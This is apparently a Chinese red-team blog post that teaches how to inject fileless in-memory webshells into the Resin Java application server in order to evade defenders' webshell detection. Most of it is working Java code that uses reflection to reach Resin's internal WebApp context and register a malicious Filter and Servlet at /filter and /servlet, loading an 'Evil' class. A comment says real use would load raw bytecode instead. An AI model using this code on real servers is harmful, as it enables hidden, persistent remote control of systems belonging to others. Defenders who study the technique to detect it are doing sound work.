[email protected]深蓝攻防实验室天魁战队
故事还是要从很久很久以前说起,红蓝对抗越来越激烈,常见的免杀Webshell文件已经逃脱不了蓝队大佬的火眼金睛了,函数混淆的花里胡哨最后还是能被轻松分析,所以早在很多年前,就已经进入了内存马的时代,内存马是一种新的无文件的Webshell类型。市面常见的内存马都是针对Tomcat、Spring的,直到有一天我遇到了某微,落地的Webshell文件被乱揍,于是开启了Resin内存马学习之路。
首先了解一下Resin是个啥,Resin是CAUCHO公司的产品,是一个Application Server,支持Servlet和JSP的引擎,速度非常快,并且可以和Apache、IIS等其他WEB服务器一起工作,也支持负载均衡,所以许多站点都是使用该WEB服务器构建的。
IDEA:2022.2
Resin:4.0.58
JDK:JDK8u261
工欲善其事必先利其器,先本地搭建环境调试一下,搭建环境发现官方的下载地址各种被Ban,不明所以,不过最后还是搞到了包。
IDEA直接创建Resin,如果没有的,去IDEA装一个Resin的插件就好了,Configuration选择我们下载好的Resin环境包。
后面生成一个war包就好了
导入resin/lib
,方便我们后面调试。
修改 resin/conf/resin.xml
文件中的<web-app id="/" root-directory="绝对路径"/>
,修改一下默认解析目录。
IDEA启动。
常见的动态注册内存马有Listen、Filter、Servlet几种方式,不管是哪种内存马都需要先获取上下文对象,上下文对象需要通过request
获取,一般request
会存储在当前线程对象中。
Tomcat等一般都可以通过javax.servlet.ServletRequest.getServletContext()
方法直接获取,但是Resin行不通,那就先看在Resin的堆栈翻一下。
doFilter:19, Main (com.test) doFilter:89, FilterFilterChain (com.caucho.server.dispatch) doFilter:156, WebAppFilterChain (com.caucho.server.webapp) doFilter:95, AccessLogFilterChain (com.caucho.server.webapp) service:304, ServletInvocation (com.caucho.server.dispatch) handleRequest:840, HttpRequest (com.caucho.server.http) dispatchRequest:1367, TcpSocketLink (com.caucho.network.listen) handleRequest:1323, TcpSocketLink (com.caucho.network.listen) handleRequestsImpl:1307, TcpSocketLink (com.caucho.network.listen) handleRequests:1215, TcpSocketLink (com.caucho.network.listen) handleAcceptTaskImpl:1011, TcpSocketLink (com.caucho.network.listen) runThread:117, ConnectionTask (com.caucho.network.listen) run:93, ConnectionTask (com.caucho.network.listen) handleTasks:175, SocketLinkThreadLauncher (com.caucho.network.listen) run:61, TcpSocketAcceptThread (com.caucho.network.listen) runTasks:173, ResinThread2 (com.caucho.env.thread2) run:118, ResinThread2 (com.caucho.env.thread2)
找到service:304, ServletInvocation (com.caucho.server.dispatch)
com.caucho.server.dispatch.ServletInvocation#getContextRequest()
可以获得一个ServletRequest
对象
通过反射获取一下ServletRequest
对象
ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
下面就需要找哪里可以动态注册恶意Filter了,再看一下堆栈信息,这里有WebApp
属性包含了_filterManager
和_filterMapper
WebAPP
的类继承关系,WebApp
最终还是继承自ServletContext
我们可以强转子类,将ServletContext
强转成WebApp
获取WebApp对象
WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
看一下_filterManager
包含_filters
以Map形式存储FilterConfigImpl
对象,_urlPatterns
存储了,Filter名和Filter对应的URL。
URLPattern
对象可以通过FilterMapping#createUrlPattern()
获取
FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern(); urlPattern.addText(url);
_filterMap
以List的形式存储FilterMapping
对象,FilterMapping
存储着URL和filter的对应关系
//获取_filtermanager Field filtermanager_field = webApp.getClass().getDeclaredField("_filterManager"); filtermanager_field.setAccessible(true); FilterManager filterManager = (FilterManager) filtermanager_field.get(webApp); //获取_filters Field filters_field = filterManager.getClass().getDeclaredField("_filters"); filters_field.setAccessible(true); HashMap<String, FilterConfigImpl> filters = (HashMap<String, FilterConfigImpl>) filters_field.get(filterManager);
public class TestFilter extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse res) { String filtername = "FilterShell"; String url = "/filter"; Class clzz; try { //获取request对象 ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null); //获取webapp WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request); // //获取_filtermanager // Field filtermanager_field = webApp.getClass().getDeclaredField("_filterManager"); // filtermanager_field.setAccessible(true); // FilterManager filterManager = (FilterManager) filtermanager_field.get(webApp); // //获取_filters // Field filters_field = filterManager.getClass().getDeclaredField("_filters"); // filters_field.setAccessible(true); // HashMap<String, FilterConfigImpl> filters = (HashMap<String, FilterConfigImpl>) filters_field.get(filterManager); clzz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil"); //方便调试,实战换成defineClass加载字节码 FilterMapping filterMapping = new FilterMapping(); filterMapping.setFilterClass(clzz.getName()); filterMapping.setFilterName(filtername); FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern(); urlPattern.addText(url); webApp.addFilterMapping(filterMapping); res.getWriter().write("Resin Filter Inject Success!!"); } catch (Exception ignored) { } } }
获取request
对象过程复用上面Filter的
ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
自实现一个Servlet,看一下调用栈中的几个关键属性_serlvetName
、_servletClassName
、_servletClass
、_urlPatterns
doGet:20, TestServlet (com.test) service:120, HttpServlet (javax.servlet.http) service:97, HttpServlet (javax.servlet.http) doFilter:109, ServletFilterChain (com.caucho.server.dispatch) doFilter:156, WebAppFilterChain (com.caucho.server.webapp) doFilter:95, AccessLogFilterChain (com.caucho.server.webapp) service:304, ServletInvocation (com.caucho.server.dispatch) handleRequest:840, HttpRequest (com.caucho.server.http) dispatchRequest:1367, TcpSocketLink (com.caucho.network.listen) handleRequest:1323, TcpSocketLink (com.caucho.network.listen) handleRequestsImpl:1307, TcpSocketLink (com.caucho.network.listen) handleRequests:1215, TcpSocketLink (com.caucho.network.listen) handleAcceptTaskImpl:1011, TcpSocketLink (com.caucho.network.listen) runThread:117, ConnectionTask (com.caucho.network.listen) run:93, ConnectionTask (com.caucho.network.listen) handleTasks:175, SocketLinkThreadLauncher (com.caucho.network.listen) run:61, TcpSocketAcceptThread (com.caucho.network.listen) runTasks:173, ResinThread2 (com.caucho.env.thread2) run:118, ResinThread2 (com.caucho.env.thread2)
还是先获取WebApp
WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
ServletMapping
存储着URL和Servlet的对应关系
动态添加思路类似Filter
ServletMapping servletMapping = new ServletMapping(); servletMapping.addURLPattern(url); servletMapping.setServletName(servletname); clazz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil"); servletMapping.setServletClass(clazz.getName()); webApp.addServletMapping(servletMapping);
public class TestServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException { String servletname = "ServletShell"; String url = "/servlet"; Class clazz; try { ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null); WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request); ServletMapping servletMapping = new ServletMapping(); servletMapping.addURLPattern(url); servletMapping.setServletName(servletname); clazz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil"); servletMapping.setServletClass(clazz.getName()); webApp.addServletMapping(servletMapping); res.getWriter().write("Resin Servlet Inject Success!!"); } catch (Exception ignored) { } } }